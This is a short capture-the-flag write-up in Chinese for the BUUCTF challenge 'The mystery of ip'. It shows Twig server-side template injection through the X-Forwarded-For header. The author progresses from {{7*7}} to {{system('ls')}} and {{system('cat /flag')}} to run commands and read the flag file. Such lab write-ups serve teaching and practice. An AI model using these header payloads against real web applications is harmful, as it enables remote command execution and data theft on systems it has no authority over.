BUUCTF [BJDCTF2020] The mystery of ip
考点:
X-Forwarded-For
注入- PHP可能存在Twig模版注入漏洞
启动环境:
查看flag
页面:
查看hint
页面:
结合题目名,IP的秘密,flag页面也出现了IP,猜测为X-Forwarded-For
处有问题
使用BurpSuite抓取数据包:
添加HTTP请求头:
X-Forwarded-For: 1
发送数据包,得到回显页面:
被成功执行,说明XFF
可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料
Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
添加模版算式,检测其是否可被执行:
X-Forwarded-For: {{7*7}}
模版中算式被成功执行,尝试是否能执行命令:
X-Forwarded-For: {{system('ls')}}
命令可以被成功执行,查找flag的位置:
X-Forwarded-For: {{system('ls /')}}
在/
目录下查找到flag,读取flag,构造payload:
X-Forwarded-For: {{system('cat /flag')}}
发送数据包,得到flag: